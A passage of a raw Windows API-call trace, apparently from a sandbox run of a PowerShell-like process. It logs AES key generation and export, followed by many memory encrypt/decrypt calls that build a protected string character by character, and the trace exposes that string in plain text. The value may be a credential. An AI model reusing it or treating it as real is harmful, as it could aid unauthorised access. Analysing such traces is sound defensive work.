returned 0x0 [0231.451] EtwEventActivityIdControl () returned 0x0 [0231.453] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cee0) returned 1 [0231.454] CryptGenKey (in: hProv=0x5c4cee0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99a60) returned 1 [0231.455] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0231.455] CryptExportKey (in: hKey=0x5c99a60, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0231.455] CryptExportKey (in: hKey=0x5c99a60, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x25724a8, pdwDataLen=0x5a2e8c4 | out: pbData=0x25724a8*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0231.455] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0231.462] EtwEventActivityIdControl () returned 0x0 [0231.462] EtwEventActivityIdControl () returned 0x0 [0231.462] EtwEventActivityIdControl () returned 0x0 [0231.463] SysStringLen (param_1="") returned 0x8 [0231.463] SysStringLen (param_1="j") returned 0x8 [0231.463] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.463] SysStringLen (param_1="톈ዊ䛅‌咫܆賺") returned 0x8 [0231.464] SysStringLen (param_1="톈ዊ䛅‌咫܆賺") returned 0x8 [0231.464] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.464] SysStringLen (param_1="jB") returned 0x8 [0231.464] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.464] SysStringLen (param_1="䂏鼒첇㌶\㧙턜≫) returned 0x8 [0231.464] SysStringLen (param_1="䂏鼒첇㌶\㧙턜≫) returned 0x8 [0231.464] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.464] SysStringLen (param_1="jBZ") returned 0x8 [0231.464] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.464] SysStringLen (param_1="柯ᆗᐚ섉妐˩쨁낅") returned 0x8 [0231.464] SysStringLen (param_1="柯ᆗᐚ섉妐˩쨁낅") returned 0x8 [0231.464] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.464] SysStringLen (param_1="jBZB") returned 0x8 [0231.464] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.464] SysStringLen (param_1="ዹ⪍屓蹽㞝벍䥤遢") returned 0x8 [0231.464] SysStringLen (param_1="ዹ⪍屓蹽㞝벍䥤遢") returned 0x8 [0231.465] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.465] SysStringLen (param_1="jBZB0") returned 0x8 [0231.465] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.465] SysStringLen (param_1="ᭊ걥ힾ\⠛왋⊚) returned 0x8 [0231.465] SysStringLen (param_1="ᭊ걥ힾ\⠛왋⊚) returned 0x8 [0231.465] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.465] SysStringLen (param_1="jBZB0C") returned 0x8 [0231.465] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.465] SysStringLen (param_1="蟐ᡝ쭎퐜䛖晛") returned 0x8 [0231.465] SysStringLen (param_1="蟐ᡝ쭎퐜䛖晛") returned 0x8 [0231.465] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.465] SysStringLen (param_1="jBZB0CL") returned 0x8 [0231.465] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.465] SysStringLen (param_1="⽨飔搳䩱泎添鳤찳") returned 0x8 [0231.465] SysStringLen (param_1="⽨飔搳䩱泎添鳤찳") returned 0x8 [0231.466] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.466] SysStringLen (param_1="jBZB0CLj") returned 0x8 [0231.466] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0231.466] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ") returned 0x8 [0231.466] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ") returned 0x8 [0231.466] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ") returned 0x8 [0231.467] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ") returned 0x10 [0231.467] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.467] SysStringLen (param_1="jBZB0CLj7麹둔㧓⺹펍脸졼") returned 0x10 [0231.467] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.467] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ䅛ℳ䜏ꫵ▱劲씼") returned 0x10 [0231.467] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ䅛ℳ䜏ꫵ▱劲씼") returned 0x10 [0231.467] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.467] SysStringLen (param_1="jBZB0CLj7c둔㧓⺹펍脸졼") returned 0x10 [0231.467] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.467] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ楼㠴젃毌댦↑") returned 0x10 [0231.467] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ楼㠴젃毌댦↑") returned 0x10 [0231.467] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.467] SysStringLen (param_1="jBZB0CLj7cE㧓⺹펍脸졼") returned 0x10 [0231.467] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.468] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ⚇䑽阊뿸퍗葁緎ᥝ") returned 0x10 [0231.468] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ⚇䑽阊뿸퍗葁緎ᥝ") returned 0x10 [0231.468] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.468] SysStringLen (param_1="jBZB0CLj7cE2⺹펍脸졼") returned 0x10 [0231.468] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.468] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ貟࠶䃧瑓ꐩ켕凳") returned 0x10 [0231.468] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ貟࠶䃧瑓ꐩ켕凳") returned 0x10 [0231.468] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.468] SysStringLen (param_1="jBZB0CLj7cE2U펍脸졼") returned 0x10 [0231.468] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.468] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ䞑䵽樏뭯燳⥅ﴜ") returned 0x10 [0231.468] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ䞑䵽樏뭯燳⥅ﴜ") returned 0x10 [0231.468] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.468] SysStringLen (param_1="jBZB0CLj7cE2UN脸졼") returned 0x10 [0231.468] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.469] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ뎞䩗垏歟㢝㱹䇁菞") returned 0x10 [0231.469] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ뎞䩗垏歟㢝㱹䇁菞") returned 0x10 [0231.469] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.469] SysStringLen (param_1="jBZB0CLj7cE2UN7졼") returned 0x10 [0231.469] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.469] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ郴혌锓싾侻ʴ푝䨟") returned 0x10 [0231.469] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ郴혌锓싾侻ʴ푝䨟") returned 0x10 [0231.469] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.469] SysStringLen (param_1="jBZB0CLj7cE2UN77") returned 0x10 [0231.469] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0231.469] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴") returned 0x10 [0231.470] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴") returned 0x10 [0231.470] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴") returned 0x10 [0231.470] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴") returned 0x18 [0231.470] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.470] SysStringLen (param_1="jBZB0CLj7cE2UN77P＝䓭䅒⿟鍋䈏") returned 0x18 [0231.470] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.470] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴㻨ˊ立◔ඦፊ鰍啽") returned 0x18 [0231.470] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴㻨ˊ立◔ඦፊ鰍啽") returned 0x18 [0231.470] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.470] SysStringLen (param_1="jBZB0CLj7cE2UN77Ph䓭䅒⿟鍋䈏") returned 0x18 [0231.470] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.470] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴\鋛旴\仜꘠笜༙疺") returned 0x18 [0231.471] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴\鋛旴\仜꘠笜༙疺") returned 0x18 [0231.471] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.471] SysStringLen (param_1="jBZB0CLj7cE2UN77Phz䅒⿟鍋䈏") returned 0x18 [0231.471] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.471] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴﫤瞁韓p뮩ꅰ媾䒄") returned 0x18 [0231.471] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴﫤瞁韓p뮩ꅰ媾䒄") returned 0x18 [0231.471] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.471] SysStringLen (param_1="jBZB0CLj7cE2UN77Phzr䅒⿟鍋䈏") returned 0x18 [0231.471] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.471] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴๡專߆빒ᛗ辬ꬲ") returned 0x18 [0231.471] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴๡專߆빒ᛗ辬ꬲ") returned 0x18 [0231.471] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.471] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrS⿟鍋䈏") returned 0x18 [0231.471] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.472] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴⤢쑽䎰㦼ᠸ麛ꅬ") returned 0x18 [0231.472] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴⤢쑽䎰㦼ᠸ麛ꅬ") returned 0x18 [0231.472] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.472] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSF鍋䈏") returned 0x18 [0231.472] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.472] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴嶒☹ꇦ\샛ᰪ앪䝡∯) returned 0x18 [0231.472] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴嶒☹ꇦ\샛ᰪ앪䝡∯) returned 0x18 [0231.472] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.472] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFt䈏") returned 0x18 [0231.472] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.472] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴ꐣ䝄㣩ꀜ穼餮댄") returned 0x18 [0231.472] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴ꐣ䝄㣩ꀜ穼餮댄") returned 0x18 [0231.472] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.472] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtF") returned 0x18 [0231.472] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0231.473] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾") returned 0x18 [0231.473] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾") returned 0x18 [0231.473] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾") returned 0x18 [0231.473] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾") returned 0x20 [0231.473] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.473] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFb䙈避▚섂爔▞ๅ") returned 0x20 [0231.473] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.473] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾磋磴菵㄂硵魢ჹ⥙") returned 0x20 [0231.474] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾磋磴菵㄂硵魢ჹ⥙") returned 0x20 [0231.474] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.474] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbz避▚섂爔▞ๅ") returned 0x20 [0231.474] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.474] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾Ҵꋘ푖䕱ᚎ䧩樭鞩") returned 0x20 [0231.474] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾Ҵꋘ푖䕱ᚎ䧩樭鞩") returned 0x20 [0231.474] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.474] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV▚섂爔▞ๅ") returned 0x20 [0231.474] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.474] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾﬎ᩩᡈ됈ٯ컯碏") returned 0x20 [0231.474] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾﬎ᩩᡈ됈ٯ컯碏") returned 0x20 [0231.474] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.474] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4섂爔▞ๅ") returned 0x20 [0231.474] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.474] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾毯螢컃㻚❒蕫갫峅") returned 0x20 [0231.475] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾毯螢컃㻚❒蕫갫峅") returned 0x20 [0231.475] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.475] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4b爔▞ๅ") returned 0x20 [0231.475] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.475] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾ࢤ裰䀔ꖂ᝝ݟI") returned 0x20 [0231.475] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾ࢤ裰䀔ꖂ᝝ݟI") returned 0x20 [0231.475] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.475] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4b1▞ๅ") returned 0x20 [0231.475] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.475] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾൪妚懠᧧鐂䵗") returned 0x20 [0231.475] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾൪妚懠᧧鐂䵗") returned 0x20 [0231.475] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.475] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4b1bๅ") returned 0x20 [0231.475] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.475] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾揈跤푂᭭疓鶨鉁") returned 0x20 [0231.476] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾揈跤푂᭭疓鶨鉁") returned 0x20 [0231.476] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.476] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4b1by") returned 0x20 [0231.476] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0231.476] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡") returned 0x20 [0231.476] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡") returned 0x20 [0231.476] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡") returned 0x20 [0231.476] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡\x89") returned 0x28 [0231.476] SystemFunction041 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.477] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4b1bytﹽघ瘪鳮їꑲ") returned 0x28 [0231.477] SystemFunction040 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.477] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡澃ꉾ崞◵ᕞꫬ꺸") returned 0x28 [0231.477] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡澃ꉾ崞◵ᕞꫬ꺸") returned 0x28 [0231.477] SystemFunction041 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.477] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4b1byt4घ瘪鳮їꑲ") returned 0x28 [0231.477] SystemFunction040 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.477] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡汚丯롳䫰㑟㪡ꓹ駉") returned 0x28 [0231.477] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡汚丯롳䫰㑟㪡ꓹ駉") returned 0x28 [0231.477] SystemFunction041 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.477] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4b1byt4x瘪鳮їꑲ") returned 0x28 [0231.477] SystemFunction040 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.478] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡ﺪ撖⧳죏㨳Ⱦ㡥") returned 0x28 [0231.478] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡ﺪ撖⧳죏㨳Ⱦ㡥") returned 0x28 [0231.478] SystemFunction041 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.478] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4b1byt4xN鳮їꑲ") returned 0x28 [0231.478] SystemFunction040 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.478] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡ᅔ唷旓䨳洧灋Ἰ⽒") returned 0x28 [0231.478] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡ᅔ唷旓䨳洧灋Ἰ⽒") returned 0x28 [0231.478] SystemFunction041 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.478] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4b1byt4xNjїꑲ") returned 0x28 [0231.478] SystemFunction040 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.478] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡뢆囼按擄\룝髌羟≦) returned 0x28 [0231.478] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡뢆囼按擄\룝髌羟≦) returned 0x28 [0231.478] SystemFunction041 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.479] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4b1byt4xNjKꑲ") returned 0x28 [0231.479] SystemFunction040 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.479] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡媠洊༁葊揢\槟渍∗) returned 0x28 [0231.479] SysStringLen (param_1="㣓꘬쌽茝ꕖ旲Շ머있㎄嵣쪽馠輴᭜绝齔䫭쑫园썾䟎넇ꎒ䴳㯙쇧땡媠洊༁葊揢\槟渍∗) returned 0x28 [0231.479] SystemFunction041 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.479] SysStringLen (param_1="jBZB0CLj7cE2UN77PhzrSFtFbzV4b1byt4xNjKqꑲ") returned 0x28 [0231.479] SystemFunction040 (in: Memory=0x5c9a9d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9a9d4) returned 0x0 [0231.479] SysStringLen 